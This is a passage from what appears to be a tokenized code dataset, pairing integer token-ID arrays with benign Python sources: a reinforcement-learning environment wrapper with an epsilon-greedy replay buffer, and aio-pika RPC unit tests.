376,
24898,
29954,
29900,
29906,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29900,
29929,
613,
13,
1678,
376,
24898,
29954,
29929,
29945,
29947,
29941,
613,
13,
1678,
376,
24898,
29954,
29947,
29945,
29900,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29955,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29955,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29945,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29947,
29947,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29941,
29941,
29955,
613,
13,
1678,
376,
24898,
29954,
29906,
29941,
29941,
29953,
613,
13,
1678,
376,
24898,
29954,
29906,
29941,
29941,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29941,
29941,
29947,
613,
13,
1678,
376,
24898,
29954,
29955,
29953,
29929,
29941,
613,
13,
1678,
376,
24898,
29954,
29896,
29929,
29896,
29906,
613,
13,
1678,
376,
24898,
29954,
29896,
29929,
29896,
29945,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29946,
29955,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29946,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29929,
29900,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29929,
29941,
613,
13,
1678,
376,
24898,
29954,
29906,
29900,
29947,
29953,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29929,
29945,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29929,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29929,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29906,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29906,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29941,
29953,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29941,
29953,
29896,
613,
13,
1678,
376,
24898,
29954,
29929,
29906,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29945,
29929,
29946,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29953,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29953,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29953,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29953,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29953,
29955,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29953,
29947,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29929,
29900,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29906,
29947,
613,
13,
1678,
376,
24898,
29954,
29953,
29896,
29941,
29947,
613,
13,
1678,
376,
24898,
29954,
29955,
29946,
29946,
29900,
613,
13,
1678,
376,
24898,
29954,
29955,
29953,
29947,
29953,
613,
13,
1678,
376,
24898,
29954,
29953,
29900,
29900,
29896,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29947,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29900,
29900,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29906,
29900,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29906,
29929,
613,
13,
1678,
376,
24898,
29954,
29929,
29953,
29900,
29929,
613,
13,
1678,
376,
24898,
29954,
29929,
29947,
29945,
29955,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29955,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29955,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29947,
29941,
29900,
29953,
613,
13,
1678,
376,
24898,
29954,
29955,
29906,
29941,
29947,
613,
13,
1678,
376,
24898,
29954,
29953,
29945,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29953,
29946,
29929,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29941,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29945,
29929,
613,
13,
1678,
376,
24898,
29954,
29896,
29947,
29947,
29955,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29906,
29929,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29929,
29906,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29929,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29945,
29941,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29941,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29946,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29929,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29941,
29946,
29941,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29900,
29946,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29945,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29945,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29955,
29955,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29955,
29947,
613,
13,
1678,
376,
24898,
29954,
29947,
29941,
29941,
29955,
613,
13,
1678,
376,
24898,
29954,
29947,
29941,
29941,
29953,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29906,
29941,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29945,
29896,
613,
13,
1678,
376,
24898,
29954,
29953,
29896,
29945,
29941,
613,
13,
1678,
376,
24898,
29954,
29953,
29896,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29896,
29946,
29941,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29941,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29941,
29906,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29941,
29906,
29896,
613,
13,
1678,
376,
24898,
29954,
29953,
29906,
29900,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29906,
29947,
613,
13,
1678,
376,
24898,
29954,
29945,
29900,
29947,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29955,
29906,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29946,
29947,
613,
13,
1678,
376,
24898,
29954,
29929,
29946,
29955,
29900,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29929,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29929,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29929,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29929,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29953,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29900,
29955,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29947,
29946,
613,
13,
1678,
376,
24898,
29954,
29929,
29941,
29900,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29929,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29946,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29946,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29947,
29900,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29946,
29947,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29946,
29929,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29946,
29946,
613,
13,
1678,
376,
24898,
29954,
29941,
29941,
29896,
29941,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29953,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29953,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29953,
29947,
613,
13,
1678,
376,
24898,
29954,
29947,
29929,
29906,
29941,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29906,
29906,
29955,
613,
13,
1678,
376,
24898,
29954,
29955,
29945,
29953,
29929,
613,
13,
1678,
376,
24898,
29954,
29900,
29941,
29945,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29941,
29945,
29945,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29945,
29900,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29945,
29906,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29945,
29941,
613,
13,
1678,
376,
24898,
29954,
29896,
29941,
29945,
29953,
613,
13,
1678,
376,
24898,
29954,
29945,
29896,
29945,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29929,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29929,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29929,
29896,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29929,
29946,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29929,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29953,
29945,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29953,
29941,
613,
13,
1678,
376,
24898,
29954,
29929,
29941,
29896,
29945,
613,
13,
1678,
376,
24898,
29954,
29929,
29941,
29896,
29955,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29947,
29929,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29947,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29945,
29947,
29896,
613,
13,
1678,
376,
24898,
29954,
29947,
29896,
29941,
29946,
613,
13,
1678,
376,
24898,
29954,
29947,
29941,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29906,
29896,
29945,
613,
13,
1678,
376,
24898,
29954,
29941,
29906,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29896,
29896,
29900,
29955,
29955,
613,
13,
1678,
376,
24898,
29954,
29896,
29953,
29941,
29955,
613,
13,
1678,
376,
24898,
29954,
29896,
29953,
29941,
29947,
613,
13,
1678,
376,
24898,
29954,
29955,
29946,
29947,
29941,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29947,
29953,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29947,
29947,
613,
13,
1678,
376,
24898,
29954,
29896,
29896,
29947,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29947,
29906,
613,
13,
1678,
376,
24898,
29954,
29896,
29906,
29929,
29947,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29947,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29947,
29945,
613,
13,
1678,
376,
24898,
29954,
29896,
29945,
29953,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29900,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29953,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29955,
29953,
29945,
613,
13,
1678,
376,
24898,
29954,
29945,
29946,
29946,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29896,
29900,
613,
13,
1678,
376,
24898,
29954,
29946,
29900,
29900,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29900,
29900,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29953,
29906,
613,
13,
1678,
376,
24898,
29954,
29946,
29947,
29953,
29945,
613,
13,
1678,
376,
24898,
29954,
29945,
29929,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29896,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29896,
29941,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29896,
29896,
613,
13,
1678,
376,
24898,
29954,
29947,
29941,
29946,
29900,
613,
13,
1678,
376,
24898,
29954,
29947,
29929,
29900,
29946,
613,
13,
1678,
376,
24898,
29954,
29941,
29906,
29947,
29955,
613,
13,
1678,
376,
24898,
29954,
29946,
29953,
29900,
29945,
613,
13,
1678,
376,
24898,
29954,
29953,
29896,
29953,
29941,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29945,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29945,
29941,
613,
13,
1678,
376,
24898,
29954,
29953,
29896,
29947,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29947,
29900,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29955,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29955,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29955,
29941,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29955,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29945,
29955,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29955,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29929,
29955,
29953,
613,
13,
1678,
376,
24898,
29954,
29900,
29896,
29945,
29906,
613,
13,
1678,
376,
24898,
29954,
29900,
29941,
29929,
29955,
613,
13,
1678,
376,
24898,
29954,
29900,
29906,
29900,
29946,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29906,
29896,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29906,
29945,
613,
13,
1678,
376,
24898,
29954,
29900,
29900,
29906,
29953,
613,
13,
1678,
376,
24898,
29954,
29941,
29953,
29896,
29953,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29900,
29945,
613,
13,
1678,
376,
24898,
29954,
29946,
29955,
29900,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29946,
29941,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29955,
29929,
29906,
613,
13,
1678,
376,
24898,
29954,
29941,
29955,
29906,
29896,
613,
13,
1678,
376,
24898,
29954,
29941,
29945,
29946,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29946,
29906,
613,
13,
1678,
376,
24898,
29954,
29896,
29900,
29929,
29900,
29946,
613,
13,
1678,
376,
24898,
29954,
29906,
29896,
29946,
29929,
613,
13,
1678,
376,
24898,
29954,
29906,
29900,
29929,
29953,
613,
13,
1678,
376,
24898,
29954,
29929,
29946,
29941,
29947,
613,
13,
29962,
13,
2
] |
envs/env_base.py | imdeep2905/Turing-Q-Learning | 0 | 195203 | import logging
import numpy as np
import tensorflow as tf
from tf_agents.specs import TensorSpec
from envs.utils import Epsilon, TFUniformReplayBufferWrapper
class BaseEnvWrapper:
def __init__(
self,
env,
eval_env,
name,
in_interactor,
out_interactor,
replay_buffer_size=10_000,
replay_buffer_initialization_size=1000,
epsilon_initial_value=1.0,
epsilon_end_value=0.1,
epsilon_decay_steps=10_000,
epsilon_power=1,
):
self.name = name
self.env = env
self.eval_env = eval_env
self.number_of_actions = self.env.action_spec().maximum + 1
self._epislon = Epsilon(
initial_value=epsilon_initial_value,
end_value=epsilon_end_value,
decay_steps=epsilon_decay_steps,
power=epsilon_power,
identifier=f"Epsilon ({self.name})",
)
self._replay_buffer_size = replay_buffer_size
self._replay_buffer_batch_size = self.env.batch_size
self._replay_buffer = TFUniformReplayBufferWrapper(
self._replay_buffer_size,
self._replay_buffer_batch_size,
(
self.env.observation_spec(),
TensorSpec(shape=(), dtype=tf.int32),
TensorSpec(shape=(), dtype=tf.float32),
self.env.observation_spec(),
TensorSpec(shape=(), dtype=tf.bool),
),
self.name,
)
self.in_interactor = in_interactor
self.out_interactor = out_interactor
logging.debug(
f"{self.__class__.__name__}, {self.name}: Object created."
)
self.init_replay_buffer(replay_buffer_initialization_size)
def init_replay_buffer(self, size):
logging.info(
f"Initializing replay buffer of {self.name} with size {size}."
)
for _ in range(size):
cur_obs = self.env.current_time_step()
action = np.random.randint(0, self.number_of_actions)
action = tf.convert_to_tensor(action, dtype=tf.int32)
next_obs = self.env.step(action)
self._replay_buffer.add_batch(
(
cur_obs.observation,
tf.expand_dims(action, axis=0),
next_obs.reward,
next_obs.observation,
next_obs.is_last(),
)
)
if next_obs.is_last():
self.env.reset()
def get_batch_from_replay_buffer(self, batch_size):
return self._replay_buffer.sample_batch(batch_size)
def _step_driver(self, action):
cur_obs = self.env.current_time_step()
if np.random.rand() < self._epislon.epsilon:
action = tf.convert_to_tensor(
np.random.randint(0, self.number_of_actions),
dtype=tf.int32,
)
else:
action = tf.convert_to_tensor(action, dtype=tf.int32)
next_obs = self.env.step(action)
self._replay_buffer.add_batch(
(
cur_obs.observation,
tf.expand_dims(action, axis=0),
next_obs.reward,
next_obs.observation,
next_obs.is_last(),
)
)
if next_obs.is_last():
self.env.reset()
| [
1,
1053,
12183,
13,
5215,
12655,
408,
7442,
13,
5215,
26110,
408,
15886,
13,
3166,
15886,
29918,
351,
1237,
29889,
5965,
2395,
1053,
323,
6073,
10299,
13,
3166,
427,
4270,
29889,
13239,
1053,
382,
3232,
29892,
323,
29943,
2525,
5560,
1123,
1456,
7701,
15646,
13,
13,
13,
1990,
7399,
21745,
15646,
29901,
13,
1678,
822,
4770,
2344,
12035,
13,
4706,
1583,
29892,
13,
4706,
8829,
29892,
13,
4706,
19745,
29918,
6272,
29892,
13,
4706,
1024,
29892,
13,
4706,
297,
29918,
1639,
7168,
29892,
13,
4706,
714,
29918,
1639,
7168,
29892,
13,
4706,
337,
1456,
29918,
9040,
29918,
2311,
29922,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
13,
4706,
337,
1456,
29918,
9040,
29918,
11228,
2133,
29918,
2311,
29922,
29896,
29900,
29900,
29900,
29892,
13,
4706,
321,
3232,
29918,
11228,
29918,
1767,
29922,
29896,
29889,
29900,
29892,
13,
4706,
321,
3232,
29918,
355,
29918,
1767,
29922,
29900,
29889,
29896,
29892,
13,
4706,
321,
3232,
29918,
7099,
388,
29918,
24530,
29922,
29896,
29900,
29918,
29900,
29900,
29900,
29892,
13,
4706,
321,
3232,
29918,
13519,
29922,
29896,
29892,
13,
268,
1125,
13,
13,
4706,
1583,
29889,
978,
353,
1024,
13,
13,
4706,
1583,
29889,
6272,
353,
8829,
13,
4706,
1583,
29889,
14513,
29918,
6272,
353,
19745,
29918,
6272,
13,
13,
4706,
1583,
29889,
4537,
29918,
974,
29918,
7387,
353,
1583,
29889,
6272,
29889,
2467,
29918,
6550,
2141,
27525,
398,
718,
29871,
29896,
13,
13,
4706,
1583,
3032,
1022,
7497,
265,
353,
382,
3232,
29898,
13,
9651,
2847,
29918,
1767,
29922,
5463,
29918,
11228,
29918,
1767,
29892,
13,
9651,
1095,
29918,
1767,
29922,
5463,
29918,
355,
29918,
1767,
29892,
13,
9651,
20228,
29918,
24530,
29922,
5463,
29918,
7099,
388,
29918,
24530,
29892,
13,
9651,
3081,
29922,
5463,
29918,
13519,
29892,
13,
9651,
15882,
29922,
29888,
29908,
29923,
3232,
21313,
1311,
29889,
978,
1800,
613,
13,
4706,
1723,
13,
13,
4706,
1583,
3032,
276,
1456,
29918,
9040,
29918,
2311,
353,
337,
1456,
29918,
9040,
29918,
2311,
13,
4706,
1583,
3032,
276,
1456,
29918,
9040,
29918,
16175,
29918,
2311,
353,
1583,
29889,
6272,
29889,
16175,
29918,
2311,
13,
4706,
1583,
3032,
276,
1456,
29918,
9040,
353,
323,
29943,
2525,
5560,
1123,
1456,
7701,
15646,
29898,
13,
9651,
1583,
3032,
276,
1456,
29918,
9040,
29918,
2311,
29892,
13,
9651,
1583,
3032,
276,
1456,
29918,
9040,
29918,
16175,
29918,
2311,
29892,
13,
9651,
313,
13,
18884,
1583,
29889,
6272,
29889,
26739,
362,
29918,
6550,
3285,
13,
18884,
323,
6073,
10299,
29898,
12181,
29922,
3285,
26688,
29922,
13264,
29889,
524,
29941,
29906,
511,
13,
18884,
323,
6073,
10299,
29898,
12181,
29922,
3285,
26688,
29922,
13264,
29889,
7411,
29941,
29906,
511,
13,
18884,
1583,
29889,
6272,
29889,
26739,
362,
29918,
6550,
3285,
13,
18884,
323,
6073,
10299,
29898,
12181,
29922,
3285,
26688,
29922,
13264,
29889,
11227,
511,
13,
9651,
10353,
13,
9651,
1583,
29889,
978,
29892,
13,
4706,
1723,
13,
13,
4706,
1583,
29889,
262,
29918,
1639,
7168,
353,
297,
29918,
1639,
7168,
13,
4706,
1583,
29889,
449,
29918,
1639,
7168,
353,
714,
29918,
1639,
7168,
13,
13,
4706,
12183,
29889,
8382,
29898,
13,
9651,
285,
29908,
29912,
1311,
17255,
1990,
1649,
17255,
978,
1649,
1118,
426,
1311,
29889,
978,
6177,
4669,
2825,
1213,
13,
4706,
1723,
13,
13,
4706,
1583,
29889,
2344,
29918,
276,
1456,
29918,
9040,
29898,
276,
1456,
29918,
9040,
29918,
11228,
2133,
29918,
2311,
29897,
13,
13,
1678,
822,
2069,
29918,
276,
1456,
29918,
9040,
29898,
1311,
29892,
2159,
1125,
13,
4706,
12183,
29889,
3888,
29898,
13,
9651,
285,
29908,
15514,
5281,
337,
1456,
6835,
310,
426,
1311,
29889,
978,
29913,
411,
2159,
426,
2311,
29913,
1213,
13,
4706,
1723,
13,
4706,
363,
903,
297,
3464,
29898,
2311,
1125,
13,
9651,
3151,
29918,
26290,
353,
1583,
29889,
6272,
29889,
3784,
29918,
2230,
29918,
10568,
580,
13,
9651,
3158,
353,
7442,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
1583,
29889,
4537,
29918,
974,
29918,
7387,
29897,
13,
9651,
3158,
353,
15886,
29889,
13441,
29918,
517,
29918,
20158,
29898,
2467,
29892,
26688,
29922,
13264,
29889,
524,
29941,
29906,
29897,
13,
9651,
2446,
29918,
26290,
353,
1583,
29889,
6272,
29889,
10568,
29898,
2467,
29897,
13,
9651,
1583,
3032,
276,
1456,
29918,
9040,
29889,
1202,
29918,
16175,
29898,
13,
18884,
313,
13,
462,
1678,
3151,
29918,
26290,
29889,
26739,
362,
29892,
13,
462,
1678,
15886,
29889,
18837,
29918,
6229,
29879,
29898,
2467,
29892,
9685,
29922,
29900,
511,
13,
462,
1678,
2446,
29918,
26290,
29889,
276,
1328,
29892,
13,
462,
1678,
2446,
29918,
26290,
29889,
26739,
362,
29892,
13,
462,
1678,
2446,
29918,
26290,
29889,
275,
29918,
4230,
3285,
13,
18884,
1723,
13,
9651,
1723,
13,
9651,
565,
2446,
29918,
26290,
29889,
275,
29918,
4230,
7295,
13,
18884,
1583,
29889,
6272,
29889,
12071,
580,
13,
13,
1678,
822,
679,
29918,
16175,
29918,
3166,
29918,
276,
1456,
29918,
9040,
29898,
1311,
29892,
9853,
29918,
2311,
1125,
13,
4706,
736,
1583,
3032,
276,
1456,
29918,
9040,
29889,
11249,
29918,
16175,
29898,
16175,
29918,
2311,
29897,
13,
13,
1678,
822,
903,
10568,
29918,
9465,
29898,
1311,
29892,
3158,
1125,
13,
4706,
3151,
29918,
26290,
353,
1583,
29889,
6272,
29889,
3784,
29918,
2230,
29918,
10568,
580,
13,
4706,
565,
7442,
29889,
8172,
29889,
9502,
580,
529,
1583,
3032,
1022,
7497,
265,
29889,
5463,
29901,
13,
9651,
3158,
353,
15886,
29889,
13441,
29918,
517,
29918,
20158,
29898,
13,
18884,
7442,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
1583,
29889,
4537,
29918,
974,
29918,
7387,
511,
13,
18884,
26688,
29922,
13264,
29889,
524,
29941,
29906,
29892,
13,
9651,
1723,
13,
4706,
1683,
29901,
13,
9651,
3158,
353,
15886,
29889,
13441,
29918,
517,
29918,
20158,
29898,
2467,
29892,
26688,
29922,
13264,
29889,
524,
29941,
29906,
29897,
13,
4706,
2446,
29918,
26290,
353,
1583,
29889,
6272,
29889,
10568,
29898,
2467,
29897,
13,
4706,
1583,
3032,
276,
1456,
29918,
9040,
29889,
1202,
29918,
16175,
29898,
13,
9651,
313,
13,
18884,
3151,
29918,
26290,
29889,
26739,
362,
29892,
13,
18884,
15886,
29889,
18837,
29918,
6229,
29879,
29898,
2467,
29892,
9685,
29922,
29900,
511,
13,
18884,
2446,
29918,
26290,
29889,
276,
1328,
29892,
13,
18884,
2446,
29918,
26290,
29889,
26739,
362,
29892,
13,
18884,
2446,
29918,
26290,
29889,
275,
29918,
4230,
3285,
13,
9651,
1723,
13,
4706,
1723,
13,
4706,
565,
2446,
29918,
26290,
29889,
275,
29918,
4230,
7295,
13,
9651,
1583,
29889,
6272,
29889,
12071,
580,
13,
2
] |
tests/test_rpc.py | tzoiker/aio-pika | 0 | 14228 | <reponame>tzoiker/aio-pika
import asyncio
import logging
import pytest
from aio_pika import Message, connect_robust
from aio_pika.exceptions import DeliveryError
from aio_pika.patterns.rpc import RPC, log as rpc_logger
from tests import AMQP_URL
from tests.test_amqp import BaseTestCase
pytestmark = pytest.mark.asyncio
def rpc_func(*, foo, bar):
assert not foo
assert not bar
return {'foo': 'bar'}
class TestCase(BaseTestCase):
async def test_simple(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.register('test.rpc', rpc_func, auto_delete=True)
result = await rpc.proxy.test.rpc(foo=None, bar=None)
self.assertDictEqual(result, {'foo': 'bar'})
await rpc.unregister(rpc_func)
await rpc.close()
# Close already closed
await rpc.close()
async def test_error(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.register('test.rpc', rpc_func, auto_delete=True)
with pytest.raises(AssertionError):
await rpc.proxy.test.rpc(foo=True, bar=None)
await rpc.unregister(rpc_func)
await rpc.close()
async def test_unroutable(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.register('test.rpc', rpc_func, auto_delete=True)
with pytest.raises(DeliveryError):
await rpc.proxy.unroutable()
await rpc.unregister(rpc_func)
await rpc.close()
async def test_timed_out(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.register('test.rpc', rpc_func, auto_delete=True)
await channel.declare_queue(
'test.timed_out', auto_delete=True, arguments={
'x-dead-letter-exchange': RPC.DLX_NAME,
}
)
with pytest.raises(asyncio.TimeoutError):
await rpc.call('test.timed_out', expiration=1)
await rpc.unregister(rpc_func)
await rpc.close()
async def test_close_twice(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.close()
await rpc.close()
async def test_init_twice(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.initialize()
await rpc.close()
async def test_send_unknown_message(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
with self.assertLogs(rpc_logger, logging.WARNING) as capture:
await channel.default_exchange.publish(
Message(b''), routing_key=rpc.result_queue.name
)
await asyncio.sleep(0.5, loop=self.loop)
self.assertIn('Unknown message: ', capture.output[0])
with self.assertLogs(rpc_logger, logging.WARNING) as capture:
await channel.default_exchange.publish(
Message(b''), routing_key='should-returned'
)
await asyncio.sleep(0.5, loop=self.loop)
self.assertIn('Unknown message was returned: ', capture.output[0])
await rpc.close()
async def test_close_cancelling(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
async def sleeper():
await asyncio.sleep(60, loop=self.loop)
method_name = self.get_random_name('test', 'sleeper')
await rpc.register(method_name, sleeper, auto_delete=True)
tasks = set()
for _ in range(10):
tasks.add(self.loop.create_task(rpc.call(method_name)))
await rpc.close()
logging.info("Waiting for results")
for task in tasks:
with pytest.raises(asyncio.CancelledError):
await task
async def test_register_twice(self):
channel = await self.create_channel()
rpc = await RPC.create(channel, auto_delete=True)
await rpc.register('test.sleeper', lambda x: None, auto_delete=True)
with pytest.raises(RuntimeError):
await rpc.register(
'test.sleeper', lambda x: None, auto_delete=True
)
await rpc.register(
'test.one', rpc_func, auto_delete=True
)
with pytest.raises(RuntimeError):
await rpc.register(
'test.two', rpc_func, auto_delete=True
)
await rpc.unregister(rpc_func)
await rpc.unregister(rpc_func)
await rpc.close()
class TestCaseRobust(TestCase):
async def create_connection(self, cleanup=True):
client = await connect_robust(str(AMQP_URL), loop=self.loop)
if cleanup:
self.addCleanup(client.close)
return client
| [
1,
529,
276,
1112,
420,
29958,
29873,
2502,
5603,
29914,
29874,
601,
29899,
29886,
4106,
13,
5215,
408,
948,
3934,
13,
5215,
12183,
13,
13,
5215,
11451,
1688,
13,
13,
3166,
263,
601,
29918,
29886,
4106,
1053,
7777,
29892,
4511,
29918,
13716,
504,
13,
3166,
263,
601,
29918,
29886,
4106,
29889,
11739,
29879,
1053,
360,
27657,
2392,
13,
3166,
263,
601,
29918,
29886,
4106,
29889,
11037,
29879,
29889,
29878,
6739,
1053,
390,
9026,
29892,
1480,
408,
364,
6739,
29918,
21707,
13,
3166,
6987,
1053,
13862,
29984,
29925,
29918,
4219,
13,
3166,
6987,
29889,
1688,
29918,
314,
29939,
29886,
1053,
7399,
3057,
8259,
13,
13,
13,
2272,
1688,
3502,
353,
11451,
1688,
29889,
3502,
29889,
294,
948,
3934,
13,
13,
13,
1753,
364,
6739,
29918,
9891,
10456,
29892,
